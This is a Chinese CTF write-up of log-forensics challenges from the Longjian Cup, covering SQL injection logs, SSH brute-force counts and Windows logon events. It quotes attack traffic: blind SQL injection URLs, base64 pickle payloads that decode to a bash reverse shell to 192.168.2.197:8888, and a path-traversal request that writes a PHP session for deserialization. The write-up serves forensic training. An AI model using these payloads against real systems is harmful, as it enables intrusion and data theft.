Linux&Windows 日志分析 陇剑杯 CTF

简介: Linux&Windows 日志分析 陇剑杯 CTF

0x00 赛题

下载就完事了

链接:https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwd=haek 
提取码:haek
目录结构
LearnCTF
├───LogAnalize
│   ├───linux简单日志分析
│   │       linux-log_2.zip
│   │
│   ├───misc日志分析
│   │       access.log
│   │
│   ├───misc简单日志分析
│   │       app.log
│   │
│   ├───sql注入分析
│   │       SQL.zip
│   │
│   └───windows日志分析
│           security-testlog_2.zip
└───TrafficAnalize
    ├───ios
    │       ios.zip
    └───webshell
            hack.pcap
 本篇题目在LogAnalize目录中

0x01 sql注入分析

题目

access.log

0x0101sql注入分析1

小明的网站被人注入了,还好有日志,请你帮他分析分析,利用附件回答sql注入分析1-3

sql注入分析-1: 黑客在注入过程中采用的注入手法叫_____________。(格式为4个汉字,例如“拼搏努力”)

布尔盲注

观察,发现攻击者在爆数据库,通过页面回显判断注入值是否正确,为布尔盲注

0x0102sql注入分析2

sql注入分析-2: 黑客在注入过程中,最终获取flag的数据库名、表名和字段名是_____________。(格式为“数据库名#表名#字段名”,例如database#table#column)

简单,到后面看一眼,比如

172.17.0.1 - - [01/Sep/2021:01:46:06 +0000] "GET /index.php?id=1%20and%20if(substr((select%20flag%20from%20sqli.flag),43,1)%20=%20'+',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 478 "-" "python-requests/2.26.0"

不难看出字段名flag,表名flag,库名sqli

0x0103sql注入分析3

sql注入分析-3: 黑客最后获取到的flag字符串为_____________。

繁琐,到后面看每一位的值,也可用脚本

flag{deddcd67-bcfd-487e-b940-1217e668c7db}

参考

https://blog.csdn.net/weixin_46245411/article/details/120304208

0x02linux简单日志分析

题目

linux-log.zip

0x0201linux简单日志分析1

分析下列Linux日志,回答后续问题

1、有多少个IP在暴破主机root的账号(提交失败次数大于等于10次的总IP数)

比如10个ip,则提交flag{10}

若行中出现"Failed password for root",考虑ip在爆破主机

would_str = "Failed password for root"
filename = 'secure'
ip_dic = {}
with open(filename) as file:
    for line in file:
        if would_str in line:
            ip =  line.split('from')[1].split(' ')[1]
            if ip in ip_dic:
                ip_dic[ip] += 1
            else:
                ip_dic[ip] = 1
for (ip, count) in ip_dic.items():
    if count >= 10:
        print('ip: ',ip + ' count: ',count)
    else:
        continue
print("main done")
# ip:  154.221.19.251 count:  50
# ip:  117.141.131.196 count:  16
# ip:  117.140.151.35 count:  10
# flag{3}
# https://zhuanlan.zhihu.com/p/529247465

把4个日志跑一下,得到正在爆破主机的ip

0x0202linux简单日志分析2

2、登录成功的IP有多少个?

如果有10个,则提交flag{10}

若行中出现’Accepted ',考虑ip登录成功

用脚本跑一跑,即可

target_str = 'Accepted '
file_name = 'secure-20221113'
success_ip_dic = {}
with open(file_name,'r') as file:
    for line in file:
        if target_str in line:
            temp = line.split('from')
            temp1 = temp[1].split(' ')
            ip = line.split('from')[1].split(' ')[1]
            # print('ip:',ip)
            if ip in success_ip_dic:
                success_ip_dic[ip]+=1
            else:
                success_ip_dic[ip]=1
for (ip,count) in success_ip_dic.items():
    print('ip',ip,'count:',count)
count_success = 0
for (ip,count) in success_ip_dic.items():
    count_success += 1
print('success_ip: ',count_success)
print('all done')
# secure
# ip 112.36.235.161 count: 4
# 1023
# ip 114.245.81.201 count: 2
# success_ip:  1
# 1030
# ip 114.245.81.201 count: 1
# success_ip:  1
# 1106
# ip 114.245.81.201 count: 2
# success_ip:  1
# 1113
# ip 117.141.131.196 count: 5
# ip 219.232.77.33 count: 3
# ip 39.144.135.249 count: 2
# success_ip:  3
# flag{5}

0x03 windows 日志分析

题目

security-testlog.zip

工具

logparser

0x0301 windows 日志分析1

请帮忙分析我的Windows,Security日志,回答Windows日志分析相关问题

1、一共有哪些登陆形式访问了我的电脑?

例如,一共有1,7,10三种logontype登陆,则提交:

1:7:10 使用:分隔,按数字顺序排列

查询语句

logparser -i:evt -o:datagrid "SELECT distinct EXTRACT_TOKEN(Strings, 8, '|') AS LogonType FROM <盘符>:<.evtx文件路径> WHERE EventID = 4624"

.evtx后缀文件也可用windows的事件查看器打开

题目问登录的logontype

首先筛选登录成功的事件,事件号为4624

<EventData>
  <Data Name="SubjectUserSid">S-1-5-18</Data> 
  <Data Name="SubjectUserName">DESKTOP-5VLO0JB$</Data> 
  <Data Name="SubjectDomainName">WORKGROUP</Data> 
  <Data Name="SubjectLogonId">0x3e7</Data> 
  <Data Name="TargetUserSid">S-1-5-18</Data> 
  <Data Name="TargetUserName">SYSTEM</Data> 
  <Data Name="TargetDomainName">NT AUTHORITY</Data> 
  <Data Name="TargetLogonId">0x3e7</Data> 
  <Data Name="LogonType">5</Data>

xml视图中,LogonType在EventData标签中,想要找到LogonType需要使用EXTRACT_TOKEN(Strings, 8, '|')(索引以0开始,LogonType的索引为8)

如图,可以看到LogonType

0x0302 windows 日志分析2

2021年最后一次远程登陆的时间是?

提交形式如: 2021-09-30-12:30:05

远程登录的事件号是4648

还是用logparser写查询语句,还可使用windows自带的事件查看器筛选。事件查看器有GUI页面,傻瓜式使用

logparser -i:evt -o:datagrid "select timegenerated from <盘符>:<路径> where EventID = 4648 and to_date(timegenerated) between timestamp('2021-01-01','yyyy-mm-dd') and timestamp('2022-01-01','yyyy-mm-dd')"

如图,可以观察到2021年最后一次远程登陆的时间

0x04CTF Misc

陇剑杯中的Misc题目,其中包含了日志分析的内容

简单日志分析

题目

app.log

简单日志分析1

日志很简单,分析试试,回答简单日志分析1-3 简单日志分析-1: 黑客攻击的参数是______。(如有字母请全部使用小写)

那就找攻击参数

行  89: 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnd2hvYW1pJwpwMQowKGcwCmxwMgowKEkwCnRwMwowKGczCkkwCmRwNAowY29zCnN5c3RlbQpwNQowZzUKKGcxCnRSLg== HTTP/1.1" 500 -
  行 207: 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnY2F0IC9UaDRzX0lTX1ZFUllfSW1wb3J0X0ZpMWUnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu HTTP/1.1" 500 -
  行 234: 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4= HTTP/1.1" 500 -

通过观察,发现攻击参数是user

简单日志分析2

简单日志分析-2: 黑客查看的秘密文件的绝对路径是_____________。

使用base64解密攻击载荷

STAKcDAKMFMnY2F0IC9UaDRzX0lTX1ZFUllfSW1wb3J0X0ZpMWUnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu
decode of base64
0S'cat /Th4s_IS_VERY_Import_Fi1e'

即可看到文件的绝对路径

简单日志分析3

简单日志分析-3: 黑客反弹shell的ip和端口是_____________。(格式使用“ip:端口",例如127.0.0.1:2333)

还是用base64解

STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4= 
decode of base64
https://base64.us/
0S'bash -i >& /dev/tcp/192.168.2.197/8888 0>&1'

即可看到ip和端口

0x05日志分析

题目

access.log

日志分析1

小明的网站又又又被攻击了,快来帮帮他。 依照附件解答:日志分析1-3 日志分析-1: 网络存在源码泄漏,源码文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

推测攻击者在网站中下载到了源码,源码的文件格式应当无法被服务器解析,所以攻击者访问文件路径,服务器直接让攻击者下载文件

在日志中所有的200状态中,发现/www%2ezip文件被成功访问,%2e是url编码的.,即可推测泄露的源码时www.zip

日志分析2

日志分析-2: 分析攻击流量,黑客往/tmp目录写入一个文件,文件名为_____________。

找到疑似路径的访问记录

172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
172.17.0.1 - - [07/Aug/2021:01:38:21 +0000] "GET /?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
Decode of URL:
172.17.0.1 - - [07/Aug/2021:01:38:20  0000] "GET /?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
172.17.0.1 - - [07/Aug/2021:01:38:21  0000] "GET /?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"

文件名sess_car

日志分析3

日志分析-3: 分析攻击流量,黑客使用的是______类读取了秘密文件。

有点反序列化内感觉

SplFileObject类

参考文章

https://blog.csdn.net/weixin_46245411/article/details/120304208

https://www.cnblogs.com/hetianlab/p/15061694.html

https://www.secpulse.com/archives/163339.html

https://lca.xlog.app/Windows-XML-shi-jian-ri-zhi-EVTX-jie-xi?locale=zh

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
相关文章
|
29天前
|
Linux Shell
Linux手动清理Linux脚本日志定时清理日志和log文件执行表达式
Linux手动清理Linux脚本日志定时清理日志和log文件执行表达式
81 1
|
1月前
|
监控 Shell Linux
【Shell 命令集合 系统管理 】Linux 自动轮转(log rotation)日志文件 logrotate命令 使用指南
【Shell 命令集合 系统管理 】Linux 自动轮转(log rotation)日志文件 logrotate命令 使用指南
51 0
|
22天前
|
存储 监控 安全
Linux系统日志
【4月更文挑战第6天】Linux系统日志,关键用于记录系统状态和事件,包括内核、系统、安全和应用日志,助力管理员诊断问题、确保系统正常运行。日志管理涉及收集、分析、备份等,常用工具如rsyslog、systemd-journal和logrotate(用于日志轮转)。重视日志文件的存储管理,防止空间占用过多。
20 1
Linux系统日志
|
18天前
|
Linux Windows
Windows、Mac、Linux解决端口被占用的问题
Windows、Mac、Linux解决端口被占用的问题
24 1
|
25天前
|
安全 Ubuntu Linux
Linux远程访问Windows实现步骤
在Windows上启用远程桌面连接并获取IP地址后,Linux用户需安装SSH客户端( Debian系:`sudo apt-get update; sudo apt-get install openssh-client`,RPM系:`sudo yum install openssh-clients`)。然后使用命令`ssh 用户名@Windows_IP地址`连接,其中`用户名`和`Windows_IP地址`按实际情况填写。
16 4
|
25天前
|
关系型数据库 MySQL Linux
linux特定服务日志
Linux系统的服务日志在`/var/log`目录下,如系统日志(`/var/log/syslog`或`/var/log/messages`)、认证日志(`/var/log/auth.log`)、SSH日志(`/var/log/auth.log`或`/var/log/secure`)。Web服务器(Apache和Nginx)的访问和错误日志、MySQL错误日志、Postfix及Dovecot邮件服务器日志也在此处。日志位置可能因发行版和服务配置而异,不确定时可查服务配置或用`grep`搜索。使用`logrotate`可管理日志文件大小。
22 6
|
29天前
|
运维 监控 安全
linux日志分析与追踪
在Linux中,日志分析涉及检查 `/var/log` 下的不同文件,如`messages`、`auth.log`、`kern.log`等,以及Web服务器和数据库日志。使用`tail`、`grep`、`awk`等工具实时查看和搜索日志,`logrotate`管理日志大小,`journalctl`处理Systemd日志,而`Splunk`等工具则用于集中式分析。分析技巧包括异常检测、时间关联和阈值监控。安全事件追踪结合登录失败日志、网络嗅探和IDS/IPS。日志链路追踪在分布式系统中尤为重要,帮助定位服务调用问题。有效的日志管理和分析能增强系统安全和故障排除能力。
24 7
|
1月前
|
监控 Shell Linux
【Shell 命令集合 系统管理 】Linux 实时监控日志文件 swatch命令 使用指南
【Shell 命令集合 系统管理 】Linux 实时监控日志文件 swatch命令 使用指南
36 1
|
28天前
|
Java
使用Java代码打印log日志
使用Java代码打印log日志
89 1
|
1月前
|
SQL 关系型数据库 MySQL
MySQL数据库,可以使用二进制日志(binary log)进行时间点恢复
对于MySQL数据库,可以使用二进制日志(binary log)进行时间点恢复。二进制日志是MySQL中记录所有数据库更改操作的日志文件。要进行时间点恢复,您需要执行以下步骤: 1. 确保MySQL配置文件中启用了二进制日志功能。在配置文件(通常是my.cnf或my.ini)中找到以下行,并确保没有被注释掉: Copy code log_bin = /path/to/binary/log/file 2. 在需要进行恢复的时间点之前创建一个数据库备份。这将作为恢复的基准。 3. 找到您要恢复到的时间点的二进制日志文件和位置。可以通过执行以下命令来查看当前的二进制日志文件和位
102 1